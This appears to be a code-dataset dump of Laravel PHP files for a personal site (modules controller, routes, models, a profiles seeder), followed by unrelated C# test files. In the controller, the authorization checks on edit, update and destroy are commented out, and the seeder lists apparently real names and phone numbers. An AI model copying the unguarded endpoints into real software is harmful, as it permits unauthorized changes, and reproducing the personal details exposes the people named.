██║██║ ██║ # ███████╗██████╔╝██║ ██║ # ╚══════╝╚═════╝ ╚═╝ ╚═╝ // Show the form for editing the specified resource ################################################################################################################## public function edit($id) { // if(!checkACL('manager')) { // return view('errors.403'); // } $module = Module::find($id); return view('backend.modules.edit', compact('module')); } ################################################################################################################## # ██╗ ██╗██████╗ ██████╗ █████╗ ████████╗███████╗ # ██║ ██║██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝██╔════╝ # ██║ ██║██████╔╝██║ ██║███████║ ██║ █████╗ # ██║ ██║██╔═══╝ ██║ ██║██╔══██║ ██║ ██╔══╝ # ╚██████╔╝██║ ██████╔╝██║ ██║ ██║ ███████╗ # ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ // UPDATE :: Update the specified resource in storage ################################################################################################################## public function update(UpdateModuleRequest $request, $id) { // if(!checkACL('manager')) { // return view('errors.403'); // } // Get the category value from the database $module = Module::find($id); $module->name = $request->input('name'); $module->save(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") UPDATED module (" . $module->id . ")\r\n", [json_decode($module, true)]); // Set flash data with success message Session::flash ('success', 'The module was successfully updated!'); // Redirect to posts.show return redirect()->route('backend.modules.index'); } ################################################################################################################## # ██████╗ ███████╗███████╗████████╗██████╗ ██████╗ ██╗ ██╗ # ██╔══██╗██╔════╝██╔════╝╚══██╔══╝██╔══██╗██╔═══██╗╚██╗ ██╔╝ # ██║ ██║█████╗ ███████╗ ██║ ██████╔╝██║ ██║ ╚████╔╝ # ██║ ██║██╔══╝ ╚════██║ ██║ ██╔══██╗██║ ██║ ╚██╔╝ # ██████╔╝███████╗███████║ ██║ ██║ ██║╚██████╔╝ ██║ # ╚═════╝ ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ // Remove the specified resource from storage // Used in the index page and trashAll action to soft delete multiple records ################################################################################################################## public function destroy($id) { // if(!checkACL('manager')) { // return view('errors.403'); // } $module = Module::find($id); // $categories = Category::where('module_id', '=', $id); // dd($categories); $module->delete(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") DELETED module (" . $module->id . ")\r\n", [json_decode($module, true)]); Session::flash('success', 'The module was successfully deleted!'); return redirect()->route('backend.modules.index'); } ################################################################################################################## # ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ████████╗ ██████╗ ██████╗ ███████╗ # ██╔════╝╚██╗██╔╝██╔══██╗██╔═══██╗██╔══██╗╚══██╔══╝ ██╔══██╗██╔══██╗██╔════╝ # █████╗ ╚███╔╝ ██████╔╝██║ ██║██████╔╝ ██║ ██████╔╝██║ ██║█████╗ # ██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║██╔══██╗ ██║ ██╔═══╝ ██║ ██║██╔══╝ # ███████╗██╔╝ ██╗██║ ╚██████╔╝██║ ██║ ██║ ██║ ██████╔╝██║ # ╚══════╝╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ################################################################################################################## public function exportPDF() { if(!checkACL('manager')) { return view('errors.403'); } $data = Module::get()->toArray(); return Excel::create('Modules_List', function($excel) use ($data) { $excel->sheet('mySheet', function($sheet) use ($data) { $sheet->fromArray($data); }); })->download("pdf"); } ################################################################################################################## # ██╗███╗ ███╗██████╗ ██████╗ ██████╗ ████████╗ # ██║████╗ ████║██╔══██╗██╔═══██╗██╔══██╗╚══██╔══╝ # ██║██╔████╔██║██████╔╝██║ ██║██████╔╝ ██║ # ██║██║╚██╔╝██║██╔═══╝ ██║ ██║██╔══██╗ ██║ # ██║██║ ╚═╝ ██║██║ ╚██████╔╝██║ ██║ ██║ # ╚═╝╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ // IMPORT :: Show the form for importing entries to storage. ################################################################################################################## public function import() { if(!checkACL('manager')) { return view('errors.403'); } return view('backend.modules.import'); } ################################################################################################################## # ██████╗ ██████╗ ██╗ ██╗███╗ ██╗██╗ ██████╗ █████╗ ██████╗ ███████╗██╗ ██╗ ██████╗███████╗██╗ # ██╔══██╗██╔═══██╗██║ ██║████╗ ██║██║ ██╔═══██╗██╔══██╗██╔══██╗ ██╔════╝╚██╗██╔╝██╔════╝██╔════╝██║ # ██║ ██║██║ ██║██║ █╗ ██║██╔██╗ ██║██║ ██║ ██║███████║██║ ██║ █████╗ ╚███╔╝ ██║ █████╗ ██║ # ██║ ██║██║ ██║██║███╗██║██║╚██╗██║██║ ██║ ██║██╔══██║██║ ██║ ██╔══╝ ██╔██╗ ██║ ██╔══╝ ██║ # ██████╔╝╚██████╔╝╚███╔███╔╝██║ ╚████║███████╗╚██████╔╝██║ ██║██████╔╝ ███████╗██╔╝ ██╗╚██████╗███████╗███████╗ # ╚═════╝ ╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═╝ ╚═════╝╚══════╝╚══════╝ ################################################################################################################## public function downloadExcel($type) { if(!checkACL('manager')) { return view('errors.403'); } $data = Module::get()->toArray(); return Excel::create('Modules_List', function($excel) use ($data) { $excel->sheet('mySheet', function($sheet) use ($data) { $sheet->fromArray($data); }); })->download($type); } ################################################################################################################## # ██╗███╗ ███╗██████╗ ██████╗ ██████╗ ████████╗ ███████╗██╗ ██╗███╗ ██╗ ██████╗████████╗██╗ ██████╗ ███╗ ██╗ # ██║████╗ ████║██╔══██╗██╔═══██╗██╔══██╗╚══██╔══╝ ██╔════╝██║ ██║████╗ ██║██╔════╝╚══██╔══╝██║██╔═══██╗████╗ ██║ # ██║██╔████╔██║██████╔╝██║ ██║██████╔╝ ██║ █████╗ ██║ ██║██╔██╗ ██║██║ ██║ ██║██║ ██║██╔██╗ ██║ # ██║██║╚██╔╝██║██╔═══╝ ██║ ██║██╔══██╗ ██║ ██╔══╝ ██║ ██║██║╚██╗██║██║ ██║ ██║██║ ██║██║╚██╗██║ # ██║██║ ╚═╝ ██║██║ ╚██████╔╝██║ ██║ ██║ ██║ ╚██████╔╝██║ ╚████║╚██████╗ ██║ ██║╚██████╔╝██║ ╚████║ # ╚═╝╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ################################################################################################################## public function importExcel() { if(!checkACL('manager')) { return view('errors.403'); } if(Input::hasFile('import_file')){ $path = Input::file('import_file')->getRealPath(); $data = Excel::load($path, function($reader) {})->get(); if(!empty($data) && $data->count()){ foreach ($data as $key => $value) { $insert[] = [ 'name' => $value->name, 'created_at' => $value->created_at, 'updated_at' => $value->updated_at, ]; } if(!empty($insert)){ DB::table('modules')->insert($insert); //dd('Insert Record successfully.'); Session::flash('Success','Import was successfull!'); //return view('roles.index'); return redirect()->route('backend.modules.index'); } } } return back(); } ################################################################################################################## # ███╗ ██╗███████╗██╗ ██╗ ███╗ ███╗ ██████╗ ██████╗ ██╗ ██╗██╗ ███████╗███████╗ # ████╗ ██║██╔════╝██║ ██║ ████╗ ████║██╔═══██╗██╔══██╗██║ ██║██║ ██╔════╝██╔════╝ # ██╔██╗ ██║█████╗ ██║ █╗ ██║ ██╔████╔██║██║ ██║██║ ██║██║ ██║██║ █████╗ ███████╗ # ██║╚██╗██║██╔══╝ ██║███╗██║ ██║╚██╔╝██║██║ ██║██║ ██║██║ ██║██║ ██╔══╝ ╚════██║ # ██║ ╚████║███████╗╚███╔███╔╝ ██║ ╚═╝ ██║╚██████╔╝██████╔╝╚██████╔╝███████╗███████╗███████║ # ╚═╝ ╚═══╝╚══════╝ ╚══╝╚══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚══════╝╚══════╝ // Display a listing of the resource that were created since the user's last login. ################################################################################################################## public function newModules(Request $request, $key=null) { // if(!checkACL('guest')) { // return view('errors.403'); // } //$alphas = range('A', 'Z'); $alphas = DB::table('modules') ->select(DB::raw('DISTINCT LEFT(name, 1) as letter')) ->where('created_at', '>=' , Auth::user()->last_login_date) //->where('user_id', '=', Auth::user()->id) // ->where('personal', '!=', 1) // ->where('published_at','!=', null) ->orderBy('letter') ->get(); //dd($alphas); $letters = []; foreach($alphas as $alpha) { $letters[] = $alpha->letter; } // If $key value is passed if ($key) { $modules = Module::newModules() ->where('namee', 'like', $key . '%') ->get(); return view('backend.modules.newModules', compact('modules','letters')); } $modules = Module::newModules()->get(); return view('backend.modules.newModules', compact('modules','letters')); } }<file_sep><?php /* |-------------------------------------------------------------------------- | COMMENTS ROUTES |-------------------------------------------------------------------------- */ // Route::post('comments/{post_id}', [ // 'uses' => 'Frontend\CommentsController@store', // 'as' => 'comments.store', // ]); /* |-------------------------------------------------------------------------- | COMMENTS ADMIN ROUTES |-------------------------------------------------------------------------- */ //Route::get('backend/comments/{id}', ['uses' => 'Backend\CommentsController@show', 'as' => 'backend.comments.show']); Route::get('backend/comment/{id}', ['uses' => 'Backend\CommentsController@show', 'as' => 'backend.comments.show']); Route::group(['prefix'=>'backend/comments'], function() { $c = 'Backend\CommentsController@'; $r = 'backend.comments.'; //Route::get('{id}/delete', ['uses' => $c . 'delete', 'as' => $r . 'delete']); //Route::get('exportPDF', ['uses' => $c . 'exportPDF', 'as' => $r . 'exportPDF']); //Route::get('import', ['uses' => $c . 'import', 'as' => $r . 'import']); //Route::get('downloadExcel/{type}', ['uses' => $c . 'downloadExcel', 'as' => $r . 'downloadExcel']); //Route::post('importExcel', ['uses' => $c . 'importExcel', 'as' => $r . 'importExport']); Route::get('newComments', ['uses' => $c . 'newComments', 'as' => $r . 'newComments']); Route::get('create', ['uses' => $c . 'create', 'as' => $r . 'create']); Route::post('store', ['uses' => $c . 'store', 'as' => $r . 'store']); Route::get('', ['uses' => $c . 'index', 'as' => $r . 'index']); Route::get('{id}/edit', ['uses' => $c . 'edit', 'as' => $r . 'edit']); Route::put('{id}', ['uses' => $c . 'update', 'as' => $r . 'update']); Route::delete('{id}', ['uses' => $c . 'destroy', 'as' => $r . 'destroy']); Route::get('{id}/print', ['uses' => $c . 'print', 'as' => $r . 'print']); });<file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; use Auth; use Carbon\Carbon; class WoodProject extends Model { protected $table = 'woodprojects'; protected $dates = ['deleted_at', 'completed_at']; protected $fillable = ['name', 'description', 'main_image']; public function comments() { return $this->morphMany('\App\Comment', 'commentable')->orderBy('id','desc'); } // A project has many images public function projectImages() { return $this->hasMany('App\WoodProjectImage'); } public function category() { return $this->belongsTo(Category::class); } public function woodSpecie () { return $this->belongsTo(Category::class); } public function woodType () { return $this->belongsTo(Category::class); } public function stainType () { return $this->belongsTo(Category::class); } public function stainColor () { return $this->belongsTo(Category::class); } public function stainSheen () { return $this->belongsTo(Category::class); } public function finishType () { return $this->belongsTo(Category::class); } public function finishSheen () { return $this->belongsTo(Category::class); } public function scopeNewWoodProjects($query) { return $query ->where('created_at', '>=' , Auth::user()->last_login_date) //->where('user_id', '=', Auth::user()->id) ->orderBy('name','DESC'); } } <file_sep><?php use Illuminate\Database\Seeder; class ProfilesTableSeeder extends Seeder { /** * Auto generated seed file * * @return void */ public function run() { \DB::table('profiles')->delete(); \DB::table('profiles')->insert(array ( 0 => array ( 'id' => 1, 'user_id' => 1, 'first_name' => 'Admin', 'last_name' => 'Istrator', 'telephone' => NULL, 'image' => NULL, 'frontendStyle' => 'slate', 'backendStyle' => 'bootstrap', 'date_format' => 1, 'landing_page_id' => '41', 'rows_per_page' => 15, 'display_size' => 'normal', 'action_buttons' => '1', 'author_format' => '1', 'alert_fade_time' => 5000, 'created_at' => '2017-12-28 10:27:35', 'updated_at' => '2017-12-28 10:27:35', ), 1 => array ( 'id' => 2, 'user_id' => 2, 'first_name' => 'Stephane', 'last_name' => 'Leroux', 'telephone' => '613-370-0275', 'image' => '1517413947.jpg', 'frontendStyle' => 'slate', 'backendStyle' => 'bootstrap', 'date_format' => 1, 'landing_page_id' => '41', 'rows_per_page' => 15, 'display_size' => 'normal', 'action_buttons' => '1', 'author_format' => '1', 'alert_fade_time' => 5000, 'created_at' => '2017-12-28 10:28:06', 'updated_at' => '2017-12-28 10:28:06', ), 2 => array ( 'id' => 3, 'user_id' => 3, 'first_name' => 'Stacie', 'last_name' => 'Haynes', 'telephone' => '613-327-4722', 'image' => NULL, 'frontendStyle' => 'slate', 'backendStyle' => 'bootstrap', 'date_format' => 1, 'landing_page_id' => '41', 'rows_per_page' => 15, 'display_size' => 'normal', 'action_buttons' => '1', 'author_format' => '1', 'alert_fade_time' => 5000, 'created_at' => '2017-12-28 10:28:26', 'updated_at' => '2017-12-28 10:28:26', ), 3 => array ( 'id' => 4, 'user_id' => 4, 'first_name' => 'Hugues', 'last_name' => 'Leroux', 'telephone' => '613-71-1454', 'image' => NULL, 'frontendStyle' => 'slate', 'backendStyle' => 'bootstrap', 'date_format' => 1, 'landing_page_id' => '41', 'rows_per_page' => 15, 'display_size' => 'normal', 'action_buttons' => '1', 'author_format' => '1', 'alert_fade_time' => 5000, 'created_at' => '2017-12-28 10:28:26', 'updated_at' => '2017-12-28 10:28:26', ), 4 => array ( 'id' => 5, 'user_id' => 5, 'first_name' => 'Luc', 'last_name' => 'Leveille', 'telephone' => '613-123-4567', 'image' => NULL, 'frontendStyle' => 'slate', 'backendStyle' => 'bootstrap', 'date_format' => 1, 'landing_page_id' => '41', 'rows_per_page' => 15, 'display_size' => 'normal', 'action_buttons' => '1', 'author_format' => '1', 'alert_fade_time' => 5000, 'created_at' => '2017-12-28 10:28:26', 'updated_at' => '2017-12-28 10:28:26', ), )); } }<file_sep><?php namespace App\Http\Controllers\Darts\Cricket\Players; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use DB; use Session; use App\Dart; use App\DartScore; use App\User; class ScoresController extends Controller { public function index($gameID) { $game = Dart::find($gameID); return view('darts.cricket.scores.players.index', compact('game')); } }<file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; use Kyslik\ColumnSortable\Sortable; class Invoice extends Model { use Sortable; protected $fillable = [ 'client_id', 'notes', 'status', 'amount_charged', 'hst', 'sub_total', 'wsib', 'income_taxes', 'total_deductions', 'total', 'invoiced_at', 'paid_at' ]; public $sortable = [ 'id', 'status', 'created_at', 'amount_charged', 'hst', 'sub_total', 'wsib', 'income_taxes', 'total_deductions', 'total', 'invoiced_at', 'paid_at' ]; protected $dates = [ 'created_at', 'updated_at', 'deleted_at', 'invoiced_at', 'paid_at' ]; // public function getHST() { // return number_format((float)$this->amount_charged * 0.13, 2, '.', ' '); // } // public function getTotal() { // $result = DB::table('invoices')->selectRaw('sum(hst)')->get(); // return $result; // } // public function getWSIB() { // return $this->amount_charged * 0.06; // } // public function getIncomeTaxes() { // return $this->amount_charged * 0.26; // } // public function getSubTotal() { // return number_format((float)$this->amount_charged + $this->hst, 2, '.', ' '); // } // public function getTotalDeductions() { // return number_format((float)$this->wsib + $this->income_taxes, 2, '.', ' '); // } // public function getNetTotal() { // return number_format((float)$this->amount_charged - $this->wsib - $this->income_taxes, 2, '.', ' '); // } // An invoice belongs to a client public function client() { return $this->belongsTo('App\Client'); } // An invoice has many items public function invoiceItems() { return $this->hasMany('App\InvoiceItem')->orderBy('id','desc'); } } <file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; //use OwenIt\Auditing\Auditable; //use OwenIt\Auditing\Contracts\Auditable as AuditableContract; use Auth; use Carbon\Carbon; class Post extends Model // implements AuditableContract { //use Auditable; // 1 category belongs to many posts // a related entry needs to be added to the category model public function category() { return $this->belongsTo('App\Category'); } public function tags() { return $this->belongsToMany('App\Tag'); } // public function comments() // { // return $this->hasMany('App\Comment') // //->where('approved','=',1) // ->orderBy('created_at','desc'); // } public function comments() { return $this->morphMany('\App\Comment', 'commentable')->orderBy('id','desc'); } public function user() { return $this->belongsTo('App\User'); } public function scopeNewPosts($query) { return $query ->where('created_at', '>=' , Auth::user()->last_login_date) //->where('user_id', '=', Auth::user()->id) ->orderBy('title','DESC'); } public function scopePublished($query) { return $query->where('published_at', '<', Carbon::now()); } // public function modified_by() // { // return $this->belongsTo('App\User'); // } // public function isAdmin() { // if (Auth::user()->level == 100) { // return true; // } // } }<file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Client; use App\Invoice; use App\InvoiceItem; use App\Product; class InvoicerController extends Controller { public function index() { return view("invoicer.index"); } public function dashboard() { $clients = Client::orderBy('company_name','asc')->get(); $invoicesTotal = Invoice::all(); $invoicesLogged = Invoice::where('status','logged')->get(); $invoicesInvoiced = Invoice::where('status','invoiced')->get(); $invoicesPaid = Invoice::where('status','paid')->get(); $invoiceItems = InvoiceItem::all(); $products = Product::all(); return view('invoicer.dashboard.index', compact('clients', 'invoicesTotal', 'invoicesLogged', 'invoicesInvoiced', 'invoicesPaid', 'invoiceItems', 'products')); } }
8a91c9606225f2b5a10a609b50ddcafa2f7a59ad
[ "PHP" ]
83
PHP
stleroux/twb2018
37e3dbcd1ebd989480d4b324cc228cbefbbd68e1
af085b1c358238b982338abeacebfa934e9bb3f3
refs/heads/master
<repo_name>CSC164-Spring2015/PS1<file_sep>/src/MainPackage/MoscoJ.java package MainPackage; public class MoscoJ { public static void PrintLine(String msg) { System.out.println(msg); } }
e3dcb911f0a4396894c4b1d9e52481dc2a48d979
[ "Java" ]
1
Java
CSC164-Spring2015/PS1
1dbf6d6ecb3e65d2153c443f7f2b57f459d5ce13
4b9fb39eb18c9f3454c62c3a39dea0b07af758fb
refs/heads/master
<file_sep>using System; using System.Collections.Generic; using System.IO; namespace array_manipulation { public class ArrayManipulationFixture { public ArrayManipulationFixture() { TestCases = new Dictionary<string, TestData>(); LoadTestCase("testCase1"); LoadTestCase("testCase4"); LoadTestCase("testCase7"); } internal IDictionary<string, TestData> TestCases { get; } void LoadTestCase(string testCaseName) { if (TestCases.ContainsKey(testCaseName)) return; var testCaseData = new TestData(); var filename = $"{testCaseName}.txt"; using (var file = File.OpenText(filename)) { string[] nm = file.ReadLine().Split(' '); int n = Convert.ToInt32(nm[0]); int m = Convert.ToInt32(nm[1]); int[][] queries = new int[m][]; for (int i = 0; i < m; i++) { queries[i] = Array.ConvertAll(file.ReadLine().Split(' '), queriesTemp => Convert.ToInt32(queriesTemp)); } testCaseData.ArraySize = n; testCaseData.Queries = queries; } TestCases.Add(testCaseName, testCaseData); } } }<file_sep>using System; namespace Problems.MergeLists { public class MyQueue { private const string ERR_QUEUE_EMPTY = "Queue is empty."; private readonly SinglyLinkedList innerList = new SinglyLinkedList(); public bool IsEmpty => innerList.Count == 0; public void Enqueue(int data) { innerList.Append(data); } public int Dequeue() { var item = innerList.RemoveFirst(); if (item is null) throw new InvalidOperationException(ERR_QUEUE_EMPTY); return item.Data; } public int Peek() { var item = innerList.Head; if (item is null) throw new InvalidOperationException(ERR_QUEUE_EMPTY); return item.Data; } } } <file_sep>using System; using System.Collections.Generic; using System.Text; using Xunit; using FluentAssertions; using System.IO; namespace Problems.MergeLists { public class SingleLinkedListTests { private readonly SinglyLinkedList linkedList; public SingleLinkedListTests() { linkedList = new SinglyLinkedList(); } [Fact(DisplayName = "New_Linked_List_Is_Empty")] public void New_Linked_List_Is_Empty() { linkedList.Head.Should().BeNull(); linkedList.Tail.Should().BeNull(); linkedList.Count.Should().Be(0); } [Fact(DisplayName = "FromArray_Returns_New_Linked_List_From_Array")] public void FromArray_Returns_New_Linked_List_From_Array() { int[] array = { 1, 2, 3, 4 }; var actual = SinglyLinkedList.FromArray(array); actual.Should().NotBeNull(); actual.Count.Should().Be(4); actual.Head.Data.Should().Be(1); actual.Tail.Data.Should().Be(4); } [Fact(DisplayName = "FromArray_Returns_New_Empty_Linked_List_From_Empty_Array")] public void FromArray_Returns_New_Empty_Linked_List_From_Empty_Array() { int[] array = { }; var actual = SinglyLinkedList.FromArray(array); actual.Should().NotBeNull(); actual.Count.Should().Be(0); actual.Head.Should().BeNull(); actual.Tail.Should().BeNull(); } [Fact(DisplayName = "FromArray_Throws_ArgumentNullException_When_Array_Is_Null")] public void FromArray_Throws_ArgumentNullException_When_Array_Is_Null() { Assert.Throws<ArgumentNullException>(() => { SinglyLinkedList.FromArray(null); }); } [Theory(DisplayName = "Print_Prints_List_To_Writer")] [InlineData(new int[] { }, " ", "[]")] [InlineData(new int[] { }, ",", "[]")] [InlineData(new int[] { 1, 2, 3 }, " ", "[1 2 3]")] [InlineData(new int[] { 1, 2, 3 }, ",", "[1,2,3]")] [InlineData(new int[] { 1 }, " ", "[1]")] [InlineData(new int[] { 1 }, ",", "[1]")] public void Print_Prints_List_To_Writer(int[] initArray, string sep, string expected) { var list = SinglyLinkedList.FromArray(initArray); using (var sw = new StringWriter()) { list.Print(sw, sep); sw.ToString().Should().Be(expected); } } [Fact(DisplayName = "Append_Should_Insert_New_Node_At_End")] public void Append_Should_Insert_New_Node_At_End() { linkedList.Append(1); linkedList.Head.Should().NotBeNull(); linkedList.Tail.Should().NotBeNull(); linkedList.PreviousTail.Should().BeNull(); linkedList.Head.Data.Should().Be(1); linkedList.Tail.Data.Should().Be(1); linkedList.Append(10); linkedList.Head.Data.Should().Be(1); linkedList.Tail.Data.Should().Be(10); linkedList.PreviousTail.Should().BeSameAs(linkedList.Head); } [Fact(DisplayName = "Append_Should_Increment_Count_By_One")] public void Append_Should_Increment_Count_By_One() { linkedList.Append(1); linkedList.Count.Should().Be(1); linkedList.Append(10); linkedList.Count.Should().Be(2); } [Fact(DisplayName = "Prepend_Should_Insert_New_Node_At_Beginning")] public void Prepend_Should_Insert_New_Node_At_Beginning() { linkedList.Prepend(1); linkedList.Head.Should().NotBeNull(); linkedList.Tail.Should().NotBeNull(); linkedList.PreviousTail.Should().BeNull(); linkedList.Head.Data.Should().Be(1); linkedList.Tail.Data.Should().Be(1); linkedList.Prepend(10); linkedList.Head.Data.Should().Be(10); linkedList.Tail.Data.Should().Be(1); linkedList.PreviousTail.Should().BeSameAs(linkedList.Head); linkedList.Prepend(29); linkedList.Head.Data.Should().Be(29); linkedList.Tail.Data.Should().Be(1); linkedList.PreviousTail.Data.Should().Be(10); } [Fact(DisplayName = "Prepend_Should_Increment_Count_By_One")] public void Prepend_Should_Increment_Count_By_One() { linkedList.Prepend(1); linkedList.Count.Should().Be(1); linkedList.Prepend(10); linkedList.Count.Should().Be(2); } [Fact(DisplayName = "RemoveLast_Should_Return_And_Remove_The_Last_Node")] public void RemoveLast_Should_Return_And_Remove_The_Last_Node() { linkedList.Append(1); linkedList.Append(2); linkedList.Append(3); var actual = linkedList.RemoveLast(); actual.Should().NotBeNull(); actual.Data.Should().Be(3); linkedList.Count.Should().Be(2); linkedList.Head.Data.Should().Be(1); linkedList.Tail.Data.Should().Be(2); linkedList.Tail.Next.Should().BeNull(); } [Fact(DisplayName = "RemoveLast_Should_Set_Head_And_Tail_The_Same_When_List_Has_Two_Nodes")] public void RemoveLast_Should_Set_Head_And_Tail_The_Same_When_List_Has_Two_Nodes() { linkedList.Append(1); linkedList.Append(2); var removedNode = linkedList.RemoveLast(); removedNode.Should().NotBeNull(); removedNode.Data.Should().Be(2); linkedList.Head.Should().BeSameAs(linkedList.Tail); linkedList.Head.Next.Should().BeNull(); } [Fact(DisplayName = "RemoveLast_Should_Set_Head_And_Tail_Null_When_List_Has_Only_One_Node" )] public void RemoveLast_Should_Set_Head_And_Tail_Null_When_List_Has_Only_One_Node() { linkedList.Append(1); var removedNode = linkedList.RemoveLast(); removedNode.Should().NotBeNull(); removedNode.Data.Should().Be(1); linkedList.Head.Should().BeNull(); linkedList.Tail.Should().BeSameAs(linkedList.Head); } [Fact(DisplayName = "RemoveLast_Should_Return_Null_When_List_Is_Empty")] public void RemoveLast_Should_Return_Null_When_List_Is_Empty() { var removedNode = linkedList.RemoveLast(); removedNode.Should().BeNull(); linkedList.Head.Should().BeNull(); linkedList.Tail.Should().BeNull(); } [Fact(DisplayName = "RemoveLast_Should_Decrement_Count_By_One")] public void RemoveLast_Should_Decrement_Count_By_One() { linkedList.Append(1); linkedList.Append(2); var removedNode = linkedList.RemoveLast(); linkedList.Count.Should().Be(1); } [Fact(DisplayName = "RemoveFirst_Should_Return_And_Remove_The_First_Node")] public void RemoveFirst_Should_Return_And_Remove_The_First_Node() { linkedList.Append(1); linkedList.Append(2); linkedList.Append(3); var removedNode = linkedList.RemoveFirst(); removedNode.Should().NotBeNull(); removedNode.Data.Should().Be(1); linkedList.Head.Should().NotBeNull(); linkedList.Head.Data.Should().Be(2); linkedList.Head.Should().NotBeSameAs(linkedList.Tail); } [Fact(DisplayName = "RemoveFirst_Should_Set_Head_And_Tail_The_Same_When_List_Has_Two_Nodes")] public void RemoveFirst_Should_Set_Head_And_Tail_The_Same_When_List_Has_Two_Nodes() { linkedList.Append(1); linkedList.Append(2); var removedNode = linkedList.RemoveFirst(); removedNode.Should().NotBeNull(); removedNode.Data.Should().Be(1); linkedList.Head.Should().BeSameAs(linkedList.Tail); linkedList.Head.Next.Should().BeNull(); } [Fact(DisplayName = "RemoveFirst_Should_Set_Head_And_Tail_Null_When_List_Has_Only_One_Node")] public void RemoveFirst_Should_Set_Head_And_Tail_Null_When_List_Has_Only_One_Node() { linkedList.Append(1); var removedNode = linkedList.RemoveFirst(); removedNode.Should().NotBeNull(); removedNode.Data.Should().Be(1); linkedList.Head.Should().BeNull(); linkedList.Tail.Should().BeSameAs(linkedList.Head); } [Fact(DisplayName = "RemoveFirst_Should_Return_Null_When_List_Is_Empty")] public void RemoveFirst_Should_Return_Null_When_List_Is_Empty() { var removedNode = linkedList.RemoveFirst(); removedNode.Should().BeNull(); linkedList.Head.Should().BeNull(); linkedList.Tail.Should().BeNull(); } [Fact(DisplayName = "RemoveFirst_Should_Decrement_Count_By_One")] public void RemoveFirst_Should_Decrement_Count_By_One() { linkedList.Append(1); linkedList.Append(2); var removedNode = linkedList.RemoveFirst(); linkedList.Count.Should().Be(1); } [Fact(DisplayName = "Append_And_RemoveLast_Should_Set_Count_To_Zero")] public void Append_And_RemoveLast_Should_Set_Count_To_Zero() { linkedList.Append(1); linkedList.RemoveLast(); linkedList.Count.Should().Be(0); } } } <file_sep>using System; using System.Collections; using System.Collections.Generic; using System.Linq; namespace Arrays.SwapSum { public class SwapSum { public static bool AreElegible(long[] arrayA, long[] arrayB) { var sumA = arrayA.Sum(); var sumB = arrayB.Sum(); // if the sum of the arrays are already equal then return true as // we can swap elements without altering the results. if(sumA == sumB) return true; // if the difference of the sums is odd, then no elements can be // swapped to get an equal sum of both arrays. // The detailed explanation: // The effect of swapping elements from A to B on the sum is: // sumA = sumA - a + b // sumB = sumB - b + a // As sumA == sumB then // sumA - a + b = sumB - b + a => (sumA - sumB) = 2(a - b) => (a - b) = (sumA - sumB) / 2 // This tells that: // 1. The difference between the sums of A and B must be even. // 2. The difference between the swapping elements is equal to the difference of the sums of A and B divided by 2. if((sumA - sumB) % 2 != 0) return false; var diff = (sumA - sumB) / 2; var hashSet = new HashSet<long>(); long expectedB = 0; // Given that: (a - b) = (sumA - sumB) / 2 // Solving for b: b = a - ((sumA - sumB) / 2) // That means we can determine the value of the element on arrayB based on the sum difference and arrayA elements. // Here we calculate the value of the expected B value and then store it on a hashSet (this will allow a O(1) lookup) for(int i = 0; i < arrayA.Length; i++) { expectedB = arrayA[i] - diff; hashSet.Add(expectedB); } // For each element on arrayB, check if element exists on hashSet. If true, return true; false otherwise. for (int i = 0; i < arrayB.Length; i++) { if(hashSet.Contains(arrayB[i])) return true; } return false; } } }<file_sep>using System; using Xunit; namespace Problems.Atoi { public class AtoiTests { [Theory] [InlineData("42", 42)] [InlineData("-42", -42)] [InlineData("+42", 42)] [InlineData(" 42", 42)] [InlineData(" 42 word", 42)] [InlineData(" 00042", 42)] [InlineData("xx 23", 0)] [InlineData("00042", 42)] [InlineData("-00042", -42)] [InlineData("12345689912", Int32.MaxValue)] [InlineData("-12345689912", Int32.MinValue)] [InlineData("", 0)] [InlineData(" ", 0)] [InlineData("2147483646", 2147483646)] [InlineData("-2147483646", -2147483646)] [InlineData("2147483648", Int32.MaxValue)] public void MyAtoiTests(string input, int expected) { var solution = new Solution(); int actual = solution.MyAtoi(input); Assert.Equal(expected, actual); } } }<file_sep>using System; using Xunit; namespace Problems.MyCalendar { public class MyCalendarTests { private readonly MyCalendar myCalendar; public MyCalendarTests() { myCalendar = new MyCalendar(); } [Fact] public void CanBookEvent_WhenFirstEvent() { var result = myCalendar.Book(10, 20); Assert.True(result); } [Fact] public void CanBookEvent_WhenEventIsPriorToExistingOne() { myCalendar.Book(10, 20); var result = myCalendar.Book(5, 10); Assert.True(result); } [Fact] public void CanBookEvent_WhenEventIsAfterToExistingOne() { myCalendar.Book(10, 20); var result = myCalendar.Book(30, 40); Assert.True(result); } [Fact] public void CannotBookEvent_WhenEventOverlapsExistingEvent() { myCalendar.Book(10, 20); myCalendar.Book(5, 10); myCalendar.Book(30, 40); var result = myCalendar.Book(15, 30); Assert.False(result); } } } <file_sep>using System; using System.Collections.Generic; using System.Text; namespace Problems.MergeLists { public class MyStack { private readonly SinglyLinkedList innerList = new SinglyLinkedList(); public void Push(int data) { innerList.Append(data); } public int Pop() { var item = innerList.RemoveLast(); if (item is null) { throw new InvalidOperationException(); } return item.Data; } public int Peek() { var item = innerList.Tail; if (item is null) { throw new InvalidOperationException(); } return item.Data; } public bool IsEmpty => innerList.Count == 0; } } <file_sep>using System.Collections.Generic; using 